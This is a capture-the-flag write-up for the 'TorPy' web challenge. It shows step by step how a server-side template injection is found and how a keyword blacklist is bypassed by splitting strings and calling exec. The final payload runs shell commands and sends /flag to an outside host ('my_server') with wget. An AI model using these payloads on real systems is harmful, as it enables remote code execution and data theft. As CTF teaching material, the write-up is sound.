# ▼▼▼TorPy(Web:887pts、17/306solved=5.6％)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```======= Difficulty level : Hard ========
Where is /flag ?
Link(http://18.223.211.42/)
========== Authors : SpyD3r ==========```
---
## 【Understanding of functions】
```GET / HTTP/1.1Host: 18.223.211.42```
↓
```
<html><head><title>Hack Us</title></head><body><h3>Can you hack our, So called amazingly secure web service !!!</h3><div></div>
</body></html>```
↓
I found `name=`. Probably parameter name.
---
```GET /?name=test HTTP/1.1Host: 18.223.211.42```
↓
```
<html><head><title>Hack Us</title></head><body><h3>Can you hack our, So called amazingly secure web service !!!</h3><div></div>
</body></html>```
↓
The input character is reflected
---
## 【Identify the vulnerability】
```GET /?name={{2*2}} HTTP/1.1Host: 18.223.211.42```
↓
```
<html><head><title>Hack Us</title></head><body><h3>Can you hack our, So called amazingly secure web service !!!</h3><div></div>
</body></html>```
↓
It was calculated. `SSTI(Server Side Template Injectio)`
---
## 【Identification of blacklist】
```{{config}}	⇒	{{class}}	⇒	{{url_for}}	⇒	{{[}}		⇒	{{]}}		⇒	{{os}}		⇒	{{builtins}}	⇒	{{subclasses}}	⇒	{{request}}	⇒	{{bases}}	⇒	{{file}}	⇒	{{app}}		⇒	{{for}}		⇒	{{open}}	⇒	{{getattr}}	⇒	{{args}}	⇒	{{eval}}	⇒	{{import}}	⇒	{{subprocess}}	⇒	{{base}}	⇒	{{if}}		⇒	```
---
What you could use is as follows
↓
```{{()}}{{''}}{{globals}}{{dict}}{{range}}```
↓
I decided to start from `{{globals}}`
---
`{{dir(globals)}}`
↓
```['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__']```
---
`{{dir(globals.__self__)}}`
↓
```['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']```
↓
`exec` was usable
---
## 【exploit】
While avoiding blacklist, it was possible to execute arbitrary command
`{{globals.__self__.exec("import os;os.system('cat /flag|xargs wget http://my_server 80 --user-agent')")}}`
↓blacklist bypass
`{{globals.__self__.exec("imp"+"ort o"+"s;o"+"s.system('cat /flag|xa"+"rgs wget http://my_server 80 --user-agent')")}}`
↓ urlencode
`{{globals.__self__.exec(%22imp%22+%22ort%20o%22+%22s%3bo%22+%22s.system(%27cat%20/flag|xa%22+%22rgs%20wget%20http://my_server?%2080%20--user-agent%27)%22)}}`
↓ A request has been sent to my_server
`18.223.211.42 - - [07/Oct/2018:16:27:42 +0000] "GET /? HTTP/1.1" 200 2261 "-" "inctf{Wh3n_SST1_M33ts_T0rn4d0_U51ing_Pyth0n3_!!!_1t5_M461c4l}"`
↓
`inctf{Wh3n_SST1_M33ts_T0rn4d0_U51ing_Pyth0n3_!!!_1t5_M461c4l}`